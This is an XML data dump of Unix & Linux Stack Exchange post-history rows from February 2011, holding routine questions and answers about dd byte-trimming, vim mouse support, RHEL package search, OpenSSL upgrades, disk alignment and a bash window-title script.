  <row Id="15786" PostHistoryTypeId="2" PostId="6861" RevisionGUID="de210e94-933d-4815-bf1b-8c5a2b5e1774" CreationDate="2011-02-03T19:00:15.617" UserId="3082" Text="The documentation in the Linux source tree is a good place (usually found in /usr/src/linux/Documentation is source is installed). Some distros make a separate package out of it. But, alas, much of it can only be understood by looking at the kernel source code. I have tried to encapsulate some of it in [Python modules][1], so you might also be interested in that. The [procps][2] source code is also a good source of information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/pycopia/source/browse/trunk/core/pycopia/OS/Linux/&#xD;&#xA;  [2]: http://procps.sourceforge.net/" />
  <row Id="15787" PostHistoryTypeId="5" PostId="4560" RevisionGUID="d7a2263d-af18-4191-89b3-037135f4cf54" CreationDate="2011-02-03T19:04:53.327" UserId="688" Comment="rm needless formatting; deleted 23 characters in body; added 26 characters in body; deleted 10 characters in body" Text="To display a nice overview of my hardware, I use `lshw -short`, best run ([as root][1]). You can just run `lshw` plain of course, but I prefer the conciseness that the `-short` option offers.&#xD;&#xA;&#xD;&#xA;To check my HDD usage, I use `df --human-readable`, which should be available by default on your system (unlike `lshw`).&#xD;&#xA;&#xD;&#xA;Also, have a look at [checking hardware on linux][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/2300/checking-hardware-on-linux" />
  <row Id="15788" PostHistoryTypeId="25" PostId="6854" RevisionGUID="d3bbd1c0-43ce-4e2b-9e52-9f99cc4ea74f" CreationDate="2011-02-03T20:16:30.403" Comment="http://twitter.com/#!/StackUnix/status/33257539957170176" />
  <row Id="15795" PostHistoryTypeId="2" PostId="6863" RevisionGUID="f8253646-2f2b-4b1c-a61e-601784512727" CreationDate="2011-02-03T21:52:20.683" UserId="1070" Text="I like vim.  I think touching mice is dirty.  But sometimes when my hand is already on a mouse, it sure would be nice to be able to scroll the text or click a location in the text and have the cursor jump there.  Also, I wish I could copy and paste with command-c, command-v.  Is there any software out there that answers this desire?  How about for the Mac?" />
  <row Id="15796" PostHistoryTypeId="1" PostId="6863" RevisionGUID="f8253646-2f2b-4b1c-a61e-601784512727" CreationDate="2011-02-03T21:52:20.683" UserId="1070" Text="vim - but with scrolling, clickable text, and copy-paste" />
  <row Id="15797" PostHistoryTypeId="3" PostId="6863" RevisionGUID="f8253646-2f2b-4b1c-a61e-601784512727" CreationDate="2011-02-03T21:52:20.683" UserId="1070" Text="éterminalàévimàétextöprocessingàécopyöpasteàémouseà" />
  <row Id="15798" PostHistoryTypeId="2" PostId="6864" RevisionGUID="a3895ff6-0841-4f1e-8f2b-5205e846ee09" CreationDate="2011-02-03T22:08:14.363" UserId="688" Text="I'd like to know how to do this via the web, something similar to [Debian's official package search page][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/" />
  <row Id="15799" PostHistoryTypeId="1" PostId="6864" RevisionGUID="a3895ff6-0841-4f1e-8f2b-5205e846ee09" CreationDate="2011-02-03T22:08:14.363" UserId="688" Text="How to search for official RHEL packages" />
  <row Id="15800" PostHistoryTypeId="3" PostId="6864" RevisionGUID="a3895ff6-0841-4f1e-8f2b-5205e846ee09" CreationDate="2011-02-03T22:08:14.363" UserId="688" Text="érhelà" />
  <row Id="15801" PostHistoryTypeId="2" PostId="6865" RevisionGUID="c103026a-a067-4922-9c15-1ee1eaf24bfb" CreationDate="2011-02-03T22:08:37.253" UserId="3806" Text="You can switch bs and skip options:&#xD;&#xA;&#xD;&#xA;    dd bs=1131 skip=1 if=filtered.dump of=trimmed.dump&#xD;&#xA;&#xD;&#xA;This way the operation can benefit from a greater block.&#xD;&#xA;&#xD;&#xA;Otherwise, you could try with tail (although it's not safe to use it with binary files):&#xD;&#xA;&#xD;&#xA;    tail -c +1132 filtered.dump &gt;trimmed.dump&#xD;&#xA;&#xD;&#xA;Finally, you may use 3 dd instances to write something like this:&#xD;&#xA;&#xD;&#xA;    dd if=filtered.dump bs=512k | { dd bs=1131 count=1 of=/dev/null; dd bs=512k of=trimmed.dump; }&#xD;&#xA;&#xD;&#xA;where the first dd prints its standard output filtered.dump; the second one just reads 1131 bytes and throws them away; then, the last one reads from its standard input the remaining bytes of filtered.dump and write them to trimmed.dump." />
  <row Id="15802" PostHistoryTypeId="2" PostId="6866" RevisionGUID="a1609d88-cdf6-4487-9e41-ea2b4ee98df5" CreationDate="2011-02-03T22:09:06.017" UserId="1131" Text="You can use a sub-shell and two `dd` calls like this:&#xD;&#xA;&#xD;&#xA;    $ ( dd bs=1131 count=1 of=dev_null &amp;&amp; dd bs=4K of=out.mp3 ) &lt; 100827_MR029_LobbyControl.mp3&#xD;&#xA;    1+0 records in&#xD;&#xA;    1+0 records out&#xD;&#xA;    1131 bytes (1.1 kB) copied, 7.9691e-05 s, 14.2 MB/s&#xD;&#xA;    22433+1 records in&#xD;&#xA;    22433+1 records out&#xD;&#xA;    91886130 bytes (92 MB) copied, 0.329823 s, 279 MB/s&#xD;&#xA;    $ ls -l *&#xD;&#xA;    -rw------- 1 max users 91887261 2011-02-03 22:59 100827_MR029_LobbyControl.mp3&#xD;&#xA;    -rw-r--r-- 1 max users     1131 2011-02-03 23:04 dev_null&#xD;&#xA;    -rw-r--r-- 1 max users 91886130 2011-02-03 23:04 out.mp3&#xD;&#xA;    $ cat dev_null out.mp3 &gt; orig&#xD;&#xA;    $ cmp 100827_MR029_LobbyControl.mp3 orig&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15803" PostHistoryTypeId="2" PostId="6867" RevisionGUID="47fd4136-37ca-49f0-a617-37554e242774" CreationDate="2011-02-03T22:09:27.887" UserId="4449" Text="Read this blog post: [Solving problems with proc][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.ksplice.com/2011/01/solving-problems-with-proc/" />
  <row Id="15804" PostHistoryTypeId="2" PostId="6868" RevisionGUID="7ae5c138-9357-4475-8495-a8c7851e19e3" CreationDate="2011-02-03T22:23:49.960" UserId="281" Text="There are GUI editions: for windows it's gvim, for Mac macvim. Both are available from the [vim download page][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vim.org/download.php" />
  <row Id="15805" PostHistoryTypeId="5" PostId="6868" RevisionGUID="16bf2b62-54aa-4e7b-a36c-bf685662d901" CreationDate="2011-02-03T22:29:23.697" UserId="281" Comment="added 101 characters in body; edited body" Text="For linux (or at least the Debian family of distributions, e.g Ubuntu) there are the `vim-gnome` and `vim-gtk` packages.&#xD;&#xA;&#xD;&#xA;For Mac there is MacVim, for Windows gvim. Both are linked from the [vim download page][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vim.org/download.php" />
  <row Id="15806" PostHistoryTypeId="5" PostId="6867" RevisionGUID="abf75070-c45c-4a65-af35-fd46bfb53e72" CreationDate="2011-02-03T22:30:15.047" UserId="4449" Comment="added 181 characters in body" Text="Read this blog post: [Solving problems with proc][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.ksplice.com/2011/01/solving-problems-with-proc/&#xD;&#xA;&#xD;&#xA;There are a few tips what you can do with the proc filesystem. Among other things, there is a tip how to get back a deleted disk image or how to staying ahead of the OOM killer." />
  <row Id="15807" PostHistoryTypeId="5" PostId="6867" RevisionGUID="1442fec0-7434-45c3-ad41-1be538462422" CreationDate="2011-02-03T22:35:30.690" UserId="4449" Comment="added 64 characters in body" Text="Read this blog post: [Solving problems with proc][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.ksplice.com/2011/01/solving-problems-with-proc/&#xD;&#xA;&#xD;&#xA;There are a few tips what you can do with the proc filesystem. Among other things, there is a tip how to get back a deleted disk image or how to staying ahead of the OOM killer.&#xD;&#xA;&#xD;&#xA;Don't forget to read the comments, there are good tips, too." />
  <row Id="15808" PostHistoryTypeId="2" PostId="6869" RevisionGUID="05750204-6bba-4d53-963e-f6352fb3275b" CreationDate="2011-02-03T22:44:53.337" UserId="4358" Text="Go to http://rhn.redhat.com, log in with your redhat network ID, and then search packages at the very top" />
  <row Id="15809" PostHistoryTypeId="2" PostId="6870" RevisionGUID="d358801a-e7c4-42ec-bb98-6a1650d3582a" CreationDate="2011-02-03T22:47:04.160" UserId="431" Text="According to these instructions:&#xD;&#xA;&#xD;&#xA;http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI&#xD;&#xA;&#xD;&#xA;I need to use OpenSSL 0.9.8k or later (right now it's on 1.0.0c) to use name based virtual hosts in apache. Right now I have version 0.9.8e. &#xD;&#xA;&#xD;&#xA;I'm running CentOS with a 64 bit version of a Linux 2.6 build.&#xD;&#xA;&#xD;&#xA;I thought an upgrade like this would be simple but apparently it's not some package that rpm can install. Where should I start?&#xD;&#xA;" />
  <row Id="15810" PostHistoryTypeId="1" PostId="6870" RevisionGUID="d358801a-e7c4-42ec-bb98-6a1650d3582a" CreationDate="2011-02-03T22:47:04.160" UserId="431" Text="How do I upgrade OpenSSL?" />
  <row Id="15811" PostHistoryTypeId="3" PostId="6870" RevisionGUID="d358801a-e7c4-42ec-bb98-6a1650d3582a" CreationDate="2011-02-03T22:47:04.160" UserId="431" Text="éapacheàéopensslàésnià" />
  <row Id="15812" PostHistoryTypeId="5" PostId="6869" RevisionGUID="f1fdcf44-a70a-4ee8-a448-9c99556306b5" CreationDate="2011-02-03T22:48:57.387" UserId="688" Comment="added 1 characters in body" Text="Go to http://rhn.redhat.com, log in with your redhat network ID, and then search packages at the very top." />
  <row Id="15813" PostHistoryTypeId="2" PostId="6871" RevisionGUID="1a0df4cc-ab18-4a15-a4f1-9a89a26dac87" CreationDate="2011-02-03T22:49:13.127" UserId="455" Text="On most systems `:set mouse=a` will enable your mouse inside vim even on the console.&#xD;&#xA;&#xD;&#xA;I personally prefer using the vim keybindings, but some variant on:&#xD;&#xA;&#xD;&#xA;    :vmap &lt;C-c&gt; &quot;*y&#xD;&#xA;    :imap &lt;C-v&gt; &lt;ESC&gt;&quot;*gPa&#xD;&#xA;    :nmap &lt;C-v&gt; &quot;*gP&#xD;&#xA;&#xD;&#xA;Will probably do what you want for ctrl-c and ctrl-v" />
  <row Id="15814" PostHistoryTypeId="2" PostId="6872" RevisionGUID="a80b2dcd-997a-41de-8361-af5b06269d38" CreationDate="2011-02-03T22:52:04.043" UserId="4449" Text="This is not related directly to your question, but it matters cron. This is a nice web service for creating a crontab file:&#xD;&#xA;&#xD;&#xA;[Cron web editor.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.corntab.com/pages/crontab-gui" />
  <row Id="15815" PostHistoryTypeId="2" PostId="6873" RevisionGUID="306ddc54-e5b2-42ae-b3fc-14f0ad624eeb" CreationDate="2011-02-03T22:56:31.373" UserId="3169" Text="What do you need to find out about packages?&#xD;&#xA;&#xD;&#xA;  * if you have a RHEL box:&#xD;&#xA;    + use RHN web site&#xD;&#xA;    + use `yum` or `repoquery`&#xD;&#xA;  * if not:&#xD;&#xA;    + do an RPM search for CentOS which should be similar, e.g. using [pbone RPM Search][1]&#xD;&#xA;    + browse the Red Hat download site for SRPMS, e.g. [5Server RPMs][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://rpm.pbone.net/index.php3/stat/2/simple/2&#xD;&#xA;  [2]: ftp://ftp.redhat.com/redhat/linux/enterprise/5Server/en/os/SRPMS/" />
  <row Id="15816" PostHistoryTypeId="2" PostId="6874" RevisionGUID="ac43a7af-77f4-4878-bb48-6d32a6d1a649" CreationDate="2011-02-03T23:05:45.087" UserId="1131" Text="Check out these questions at serverfault:&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/71298/upgrading-openssl-in-centos-5-3&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/128197/openssl-0-9-8k-or-higher-on-centos-5" />
  <row Id="15817" PostHistoryTypeId="25" PostId="6864" RevisionGUID="f31e4968-e1fc-4dc7-9afd-b399c1ae9753" CreationDate="2011-02-03T23:16:29.763" Comment="http://twitter.com/#!/StackUnix/status/33302837148516352" />
  <row Id="15818" PostHistoryTypeId="2" PostId="6875" RevisionGUID="ce02ec4b-3cd8-499e-91b2-4079f3332d65" CreationDate="2011-02-03T23:41:49.473" UserId="1196" Text="I'm trying to figure out if there's some way I can tell if a system is being adversely affected by disk misalignment -- i.e. when I do a disk I/O operation, it actually needs to request extra blocks from the back end storage (we're using a SAN) because the requested block of data actually lives on multiple blocks on the actual disk.&#xD;&#xA;&#xD;&#xA;This problem allegedly affects VMs even more, as the disks are abstracted so that blocks don't align because of improper sector offsets, causing additional IOPS to be used when accessing the backend storage from the VM.&#xD;&#xA;&#xD;&#xA;Anyway, I've been looking at iostat output, and it seems like there's data there that might give me a clue to this, but I seem to be slow at reasoning through it.  Is there some clue to indicate with iostat (or something else) that the machine might be performing more disk I/Os that optimal?&#xD;&#xA;&#xD;&#xA;(I'm not convinced that disk alignment is worth the effort to investigate/worry about, but I would love some opinions on the matter!)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15819" PostHistoryTypeId="1" PostId="6875" RevisionGUID="ce02ec4b-3cd8-499e-91b2-4079f3332d65" CreationDate="2011-02-03T23:41:49.473" UserId="1196" Text="&quot;Split I/O&quot;s on a Linux VM, disk alignment" />
  <row Id="15820" PostHistoryTypeId="3" PostId="6875" RevisionGUID="ce02ec4b-3cd8-499e-91b2-4079f3332d65" CreationDate="2011-02-03T23:41:49.473" UserId="1196" Text="éperformanceàéioàédisköusageàévmwareà" />
  <row Id="15821" PostHistoryTypeId="5" PostId="6827" RevisionGUID="0524682a-073c-4c81-adf4-c3e6fc8c2414" CreationDate="2011-02-04T00:15:41.210" UserId="1131" Comment="fixed grammar" Text="With one repository I did it like this (as root):&#xD;&#xA;&#xD;&#xA;    $ cd /etc/yum.repos&#xD;&#xA;    $ wget https://some.repo.example.org/foo/bar/Fedoara_14/foo_bar.repo&#xD;&#xA;    $ grep enabled foo_bar.repo&#xD;&#xA;    enabled=1&#xD;&#xA;&#xD;&#xA;Is this the recommended way to add a package repository under Fedora (&gt;= 14)?&#xD;&#xA;&#xD;&#xA;Is there is some policy/standard that each proper Fedora package repository should contain such a config file (i.e. some .repo file)?&#xD;&#xA;&#xD;&#xA;(basically just for the reason that an user or some tool can copy it to the local /etc/yum directory?)" />
  <row Id="15822" PostHistoryTypeId="2" PostId="6876" RevisionGUID="db20e439-9bcf-410c-96d4-b3fe20204ff6" CreationDate="2011-02-04T01:36:35.753" UserId="4450" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am looking for some input on how to get a linux distro rolling that will be suitable for use as a wireless basestation.&#xD;&#xA;&#xD;&#xA;Now, there are the router firmware projects OpenWRT and DDWRT which are both linux based and offer the functionality I need, to an extent. The issue is that I wish to put this on an x86 machine and use it, not only as a basestation but for other more general purposes. Now OpenWRT and DDWRT have the router functionality but because they are meant for limited hardware they are stripped of much functionality.&#xD;&#xA;&#xD;&#xA;So I would be looking for a solution that would allow my machine to run as a wireless infrastructure basestation while also doing the following: &#xD;&#xA;&#xD;&#xA; - Bringing in video from an external framegrabber.&#xD;&#xA; - Encoding this video with x264.&#xD;&#xA;&#xD;&#xA;I am looking for any input on what you might think is the most appropriate way to go about something like this.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="15823" PostHistoryTypeId="1" PostId="6876" RevisionGUID="db20e439-9bcf-410c-96d4-b3fe20204ff6" CreationDate="2011-02-04T01:36:35.753" UserId="4450" Text="Linux Distro for use as Wireless Infrastructure Basestation" />
  <row Id="15824" PostHistoryTypeId="3" PostId="6876" RevisionGUID="db20e439-9bcf-410c-96d4-b3fe20204ff6" CreationDate="2011-02-04T01:36:35.753" UserId="4450" Text="éwirelessà" />
  <row Id="15825" PostHistoryTypeId="25" PostId="6875" RevisionGUID="1f5694d0-a7e6-4c0c-9341-fe0c113fd9c4" CreationDate="2011-02-04T02:16:30.047" Comment="http://twitter.com/#!/StackUnix/status/33348136193753088" />
  <row Id="15826" PostHistoryTypeId="2" PostId="6877" RevisionGUID="67a47ef1-2a38-4190-a72a-5e694e86a81e" CreationDate="2011-02-04T02:33:10.467" UserId="2642" Text="Try out this [Live CD Linux Router][1] distro.&#xD;&#xA;&#xD;&#xA;I would also suggest looking at one of the firewall distros such as Sentry, Monowall etc.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wifi.com.ar/english/cdrouter/" />
  <row Id="15827" PostHistoryTypeId="2" PostId="6878" RevisionGUID="4da0cfe2-d124-4582-be59-222675800a0d" CreationDate="2011-02-04T02:36:21.617" UserId="2642" Text="Technically, the answer to your question is that you must specify where the file is. There is no magic. &#xD;&#xA;&#xD;&#xA;For instance with SCP (which uses the SSH protocol) you would specify username@systemname:pathtofile&#xD;&#xA;&#xD;&#xA;SCP then logs in to the system that you specify using the username and follows the path that you specify to find the file.&#xD;&#xA;" />
  <row Id="15828" PostHistoryTypeId="2" PostId="6879" RevisionGUID="c3072dc8-2699-4cba-a770-19cbc86559fb" CreationDate="2011-02-04T02:39:59.753" UserId="2642" Text="This is the kind of situation where it pays to know a scripting language such as Python. Instead of wasting time fiddling around with the shell to do this simple task, you would just open the file in binary mode, skip the bytes, and copy. The scripting language library is sensible enough to notice that the last block is not full. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="15829" PostHistoryTypeId="2" PostId="6880" RevisionGUID="2d0ad595-658e-436d-bebb-8d7185b0b899" CreationDate="2011-02-04T02:55:26.500" UserId="2642" Text="Definitely review security with a good Linux Security Checklist as the first order of business. SANS publishes [a nice one][1].&#xD;&#xA;&#xD;&#xA;Second step is to get rid of packages that you won't use.&#xD;&#xA;&#xD;&#xA;Third step is df -uh and record how much disk space the install uses.&#xD;&#xA;&#xD;&#xA;And then fourth step is to tar up the entire disk using the --exclude option to exclude the output tarball. For instance: `tar --exclude=all.tar.gz cvf - / | gzip -9 &gt;all.tar.gz`&#xD;&#xA;&#xD;&#xA;Then download it and use it to make a clone system, more or less, that runs on Virtualbox or whatever VM environment you use. From this point on, test changes on the VM before applying to your VPS and take regular data backups. Don't change anything on the VM or the VPS without writing it down on paper in a logbook. Even the smallest change should be recorded. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.sans.org/score/checklists/linuxchecklist.pdf" />
  <row Id="15830" PostHistoryTypeId="2" PostId="6881" RevisionGUID="e5d810f1-b9f2-44a5-aeae-41483d6b36e2" CreationDate="2011-02-04T03:07:06.387" UserId="2642" Text="With any Unix application or command, you can suppress all output with&#xD;&#xA;&#xD;&#xA;`cmd &gt;/dev/null 2&gt;&amp;1`&#xD;&#xA;&#xD;&#xA;The first bit redirects the standard output (unit number 1) to /dev/null. But you need the second part to ALSO redirect the error output (unit number 2) to the same place as number 1.&#xD;&#xA;&#xD;&#xA;In UNIX, STDIN=0, STDOUT=1 and STDERR=3&#xD;&#xA;" />
  <row Id="15831" PostHistoryTypeId="2" PostId="6882" RevisionGUID="9c3966a0-bce2-4dd3-8509-21ae44913c99" CreationDate="2011-02-04T03:14:09.027" UserId="2642" Text="I wouldn't dd the ISO to the raw disk, but first partition the disk and dd the ISO to a bootable partition. Also, you could test this by using Virtualbox.&#xD;&#xA;&#xD;&#xA;Install Virtualbox, and get a Linux distro running on it. Then create another virtual hard drive, attach it to the Linux distro and partition it. No need to create a filesystem. Then attach the ISO to this VM, i.e. mount the CD, and do the dd to the partition that you created. Shutdown this VM.&#xD;&#xA;&#xD;&#xA;Then create another virtual machine using the partitioned HD as the hard drive. When you start this VM it should boot up into the live distro except it is now on a hard drive. You will probably need to do something to the partition before going much further, such as remount it read-write.&#xD;&#xA;&#xD;&#xA;Write down everything you do, and then you can repeat it with a real system and real hard drive.&#xD;&#xA;" />
  <row Id="15832" PostHistoryTypeId="5" PostId="6882" RevisionGUID="be2bdc4d-4da6-4a22-95b3-f12985273a18" CreationDate="2011-02-04T05:06:37.063" UserId="2642" Comment="added 114 characters in body" Text="You could test this by using Virtualbox. Also, the ISO is not likely to contain a hard disk fs, therefore you would need to copy files, not dd the raw data.&#xD;&#xA;&#xD;&#xA;Install Virtualbox, and get a Linux distro running on it. Then create another virtual hard drive, attach it to the Linux distro and partition it. Create a filesystem on the VHD such as ext3fs. Then attach the ISO to this VM, i.e. mount the CD, and copy everything to the partition that you created. &#xD;&#xA;&#xD;&#xA;`tar cvf - /mountedcd | (cd /mountedVHD; tar xf - .)`&#xD;&#xA;&#xD;&#xA;Shutdown this VM.&#xD;&#xA;&#xD;&#xA;Then create another virtual machine using the partitioned HD as the hard drive. When you start this VM it should boot up into the live distro except it is now on a hard drive. You will may need to do something to the partition before going much further, such as remount it read-write, or editing some of the init files.&#xD;&#xA;&#xD;&#xA;Write down everything you do, and then you can repeat it with a real system and real hard drive.&#xD;&#xA;" />
  <row Id="15833" PostHistoryTypeId="2" PostId="6883" RevisionGUID="3ae2e4a2-bb85-49a8-a1ed-45917310ad85" CreationDate="2011-02-04T05:08:01.863" UserId="250" Text="As of today I have successfully installed this distribution and can use it as if it were Arch :) Below is the simplest way to do so:&#xD;&#xA;&#xD;&#xA; 1. Install Arch on the hard drive&#xD;&#xA; 2. Remove everything in `/` (in the local disk), except for `/boot`&#xD;&#xA; 3. Mount the `root-image.sqfs` image in the linuX-gamers live DVD and copy everything inside to `/`&#xD;&#xA; 4. Repeat the previous step with the `overlay.sqfs` image&#xD;&#xA;&#xD;&#xA;Step 2, 3, 4 may have to be performed with a live CD. Further customization is needed but the system can boot and function correctly after step 4.&#xD;&#xA;&#xD;&#xA;This answer is really specific to this live DVD and thus not applicable to other live CD/DVD." />
  <row Id="15834" PostHistoryTypeId="25" PostId="6863" RevisionGUID="d2fad904-f27a-4bb3-badd-9f403807bd8c" CreationDate="2011-02-04T05:16:30.093" Comment="http://twitter.com/#!/StackUnix/status/33393435037671424" />
  <row Id="15835" PostHistoryTypeId="2" PostId="6884" RevisionGUID="8b2469cc-f872-429b-b00d-e12f189732da" CreationDate="2011-02-04T05:44:25.237" UserId="269" Text="From a security perspective, the answer is that in current distros you can't tell which application it is. See https://bugzilla.gnome.org/show_bug.cgi?id=574315#c4 for clarification from a gnome-keyring developer, including the security implications and scope of the task. See also http://live.gnome.org/GnomeKeyring/SecurityPhilosophy&#xD;&#xA;&#xD;&#xA;(From a practical perspective I am also using auto-login on Ubuntu, and it seems that it is indeed nm-applet.)" />
  <row Id="15836" PostHistoryTypeId="5" PostId="6843" RevisionGUID="0144ebad-048f-4f4e-b07e-a44694a0f5c7" CreationDate="2011-02-04T06:41:10.113" UserId="3169" Comment="add an implementation of &quot;bashprompt&quot; script for part 2" Text="Here's how I'd do it:&#xD;&#xA;&#xD;&#xA;  1. make your shell set the title to &quot;bash&quot; when at the prompt, and the name of the command when it runs a command, or anything so you can tell them apart&#xD;&#xA;  1. create a script that calls `wmctrl` to list open windows, then:&#xD;&#xA;      + if `wmctrl` finds a window with a title of &quot;bash&quot;, raise it&#xD;&#xA;      + else start an `xterm`&#xD;&#xA;  1. use `xbindkeys` to call that script when you press your shortcut&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**making your shell set the window title when you run a command**&#xD;&#xA;&#xD;&#xA;Here's a simplified version of how I do it in bash.  I haven't double checked the code, but it works on my machine.&#xD;&#xA;&#xD;&#xA;    # set the title when we run a command&#xD;&#xA;    setcommandhook()&#xD;&#xA;    {&#xD;&#xA;        if $has_debug_trap&#xD;&#xA;        then&#xD;&#xA;            trap 'command=$BASH_COMMAND; eval settitle &quot;\&quot;${title}\&quot;&quot;; trap - DEBUG' DEBUG&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # set the xterm title&#xD;&#xA;    settitle()&#xD;&#xA;    {&#xD;&#xA;        printf &quot;\033]0;$*\007&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    promptstring='$(hostname):$(pwd)$ '&#xD;&#xA;    title='$(hostname) &quot;${command:-$0}&quot;'&#xD;&#xA;&#xD;&#xA;    # prompt and window title&#xD;&#xA;    if test -n &quot;${title}&quot;&#xD;&#xA;    then&#xD;&#xA;        PROMPT_COMMAND='command=; eval settitle &quot;\&quot;${title}\&quot;&quot;'&#xD;&#xA;        if $has_debug_trap&#xD;&#xA;        then&#xD;&#xA;            PROMPT_COMMAND=&quot;$PROMPT_COMMAND; setcommandhook&quot;&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;    if test -n &quot;${promptstring}&quot;&#xD;&#xA;    then&#xD;&#xA;        PS1='$(eval echo -n &quot;\&quot;${promptstring}\&quot;&quot;)'&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Doing it in `zsh` is easier, because it has the `preexec` hook.&#xD;&#xA;&#xD;&#xA;You can see [my shell configs][1] for more details, e.g. the `getcommand` function which handles commands like `fg` in a nicer way.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**raising the xterm that has a bash prompt otherwise starting a new one**&#xD;&#xA;&#xD;&#xA;Write a script that uses `wmctrl -l` to list windows, looking for one with `bash` in the title.  If one is found, then run `wmctrl -i -a &lt;id returned by wmctrl -l&gt;` to raise it, else just call `xterm`.&#xD;&#xA;&#xD;&#xA;Here is a script that does it:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #&#xD;&#xA;    # bashprompt&#xD;&#xA;    #&#xD;&#xA;    # if there is an xterm open at a bash prompt, raise/focus that window&#xD;&#xA;    # if there isn't start a new xterm&#xD;&#xA;    #&#xD;&#xA;    # requires that your xterm window title has &quot;bash&quot; at the end&#xD;&#xA;    # when there is no command running and doesn't have &quot;bash&quot; at the end&#xD;&#xA;    # when a command is running&#xD;&#xA;    #&#xD;&#xA;    # see &lt;http://unix.stackexchange.com/questions/6842&gt; for more details&#xD;&#xA;    #&#xD;&#xA;    # Mikel Ward &lt;mikel@mikelward.com&gt;&#xD;&#xA;&#xD;&#xA;    # change this to whatever is unique about your window title&#xD;&#xA;    # (i.e. a string that appears in the title when the shell is at a prompt&#xD;&#xA;    #  but does not appear when running a command)&#xD;&#xA;    prompttitle=&quot;bash$&quot;&#xD;&#xA;    terminalprog=&quot;xterm&quot;&#xD;&#xA;&#xD;&#xA;    if ! type wmctrl &gt;/dev/null 2&gt;&amp;1; then&#xD;&#xA;        echo &quot;wmctrl can't be found, please install it&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    if ! output=&quot;$(wmctrl -l)&quot;; then&#xD;&#xA;        echo &quot;Error running wmctrl -l&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;    while IFS=$'\n' read -r line; do&#xD;&#xA;        if [[ $line =~ $prompttitle ]]; then&#xD;&#xA;            id=${line%% *}&#xD;&#xA;            break&#xD;&#xA;        fi&#xD;&#xA;    done &lt;&lt;EOF&#xD;&#xA;    $output&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;    if test -n &quot;$id&quot;; then&#xD;&#xA;        wmctrl -i -a &quot;$id&quot;&#xD;&#xA;    else&#xD;&#xA;        &quot;$terminalprog&quot;&amp;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Or [download it from my scripts repository][2].&#xD;&#xA;&#xD;&#xA;  [2]: http://svn.mikelward.com/svn/scripts/bashprompt&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**running the script when you press Win+R**&#xD;&#xA;&#xD;&#xA;Assuming your script is called `/usr/local/bin/bashprompt`, make a file `~/.xbindkeysrc` containing:&#xD;&#xA;&#xD;&#xA;    &quot;/usr/local/bin/bashprompt&quot;&#xD;&#xA;        Mod4 + r&#xD;&#xA;&#xD;&#xA;then run `xbindkeys`.  Add it to your `.Xclients` file or similar to make it start up automatically.&#xD;&#xA;&#xD;&#xA;  [1]: http://svn.mikelward.com/svn/conf/" />
  <row Id="15837" PostHistoryTypeId="2" PostId="6885" RevisionGUID="489ecc48-c609-48e1-aa9d-edf2135b8445" CreationDate="2011-02-04T06:44:15.270" UserId="4457" Text="hi all,&#xD;&#xA;&#xD;&#xA;i want to add my .tar files in the .iso image of redhat cd and untar the same at desired location using some script. Can any one tell &#xD;&#xA;&#xD;&#xA;    1. how do i add the files in the iso image? &#xD;&#xA;    2. where to place the script? &#xD;&#xA;    3. how to link the script so that it is executed after the installation      completes(redhat).&#xD;&#xA;&#xD;&#xA;thanks in advance. Uday.&#xD;&#xA;" />
  <row Id="15838" PostHistoryTypeId="1" PostId="6885" RevisionGUID="489ecc48-c609-48e1-aa9d-edf2135b8445" CreationDate="2011-02-04T06:44:15.270" UserId="4457" Text="Add files to an iso image and auto run a script post installation." />
  <row Id="15839" PostHistoryTypeId="3" PostId="6885" RevisionGUID="489ecc48-c609-48e1-aa9d-edf2135b8445" CreationDate="2011-02-04T06:44:15.270" UserId="4457" Text="élinuxàérhelà" />
  <row Id="15840" PostHistoryTypeId="5" PostId="6885" RevisionGUID="a134aed4-c200-42c1-a5a0-9a50f98388c0" CreationDate="2011-02-04T06:51:58.110" UserId="688" Comment="deleted 52 characters in body" Text="I want to add my .tar files in the .iso image of a redhat cd and untar the same at desired location using some script. Can any one tell?&#xD;&#xA;&#xD;&#xA;1. How do I add the files in the iso image?&#xD;&#xA;2. Where to place the script? &#xD;&#xA;3. How to link the script so that it is executed after the installation completes (redhat).&#xD;&#xA;&#xD;&#xA;" />
